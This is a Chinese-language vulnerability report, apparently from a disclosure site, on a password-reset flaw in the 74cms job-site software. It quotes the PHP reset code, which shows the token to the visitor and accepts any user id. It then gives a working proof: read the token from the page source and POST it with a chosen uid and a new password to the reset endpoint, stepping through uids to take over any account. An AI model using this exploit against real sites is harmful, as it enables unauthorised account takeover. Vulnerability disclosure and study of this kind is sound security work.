### 简要描述:
密码重置机制可以绕过,同时可重置任意账号密码
demo测试成功
### 详细说明:
先看下
\user\user_getpass.php
```
$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'enter';
$smarty->assign('header_nav',"getpass");
if ($act=='enter')
{
$smarty->assign('title','找回密码 - '.$_CFG['site_name']);
$token=substr(md5(mt_rand(100000, 999999)), 8,16); //生成token
$_SESSION['getpass_token']=$token; //保存到session中
$smarty->assign('token',$token); //通过smarty 显示到前台 我们可以看到
$smarty->display('user/get-pass.htm');
}
```
我们在看下这个文件下的另一个action
```
elseif($act == "get_pass_save")
{
global $QS_pwdhash;
if(empty($_POST['token']) || $_POST['token']!=$_SESSION['getpass_token']) //这个值上面可以获得得到 这就绕过了
{
$link[0]['text'] = "重新找回密码";
$link[0]['href'] = "?act=enter";
showmsg("找回密码失败,非正常链接",0,$link);
}
$uid=intval($_POST['uid']);//uid可控 遍历uid可重置任意账号密码
$password=$_POST['password']?trim($_POST['password']):showmsg("请输入密码!",1);
$userinfo=get_user_inid($uid);
if(empty($userinfo))
{
$link[0]['text'] = "重新找回密码";
$link[0]['href'] = "?act=enter";
showmsg("修改密码失败",0,$link);
}
$password_hash=md5(md5($password).$userinfo['pwd_hash'].$QS_pwdhash);
$setsqlarr['password']=$password_hash;
$rst=$db->updatetable(table('members'),$setsqlarr,array("uid"=>$userinfo['uid']));//更改密码
if($rst)
{
header("Location: ?act=get_pass_sucess");
}
else
{
showmsg("设置新密码失败!",1);
}
}
```
### 漏洞证明:
漏洞证明
无需登录
先访问
```
http://demo.74cms.com/user/user_getpass.php
```
右键查看源代码 看到toke的值
[<img src="https://images.seebug.org/upload/201508/29104829fa9598aa29ef7c545a0499ac6c96a0fe.png" alt="118.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/29104829fa9598aa29ef7c545a0499ac6c96a0fe.png)
然后利用这个值访问
```
http://demo.74cms.com/user/user_getpass.php?act=get_pass_save
```
POST提交
token=b6a0859f6f64ed41&uid=2&password=333333
[<img src="https://images.seebug.org/upload/201508/291051049753b42e6cbbb37d39814e9433aee667.png" alt="119.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/291051049753b42e6cbbb37d39814e9433aee667.png)
遍历下uid就可以重置任意账号密码为333333
暂无评论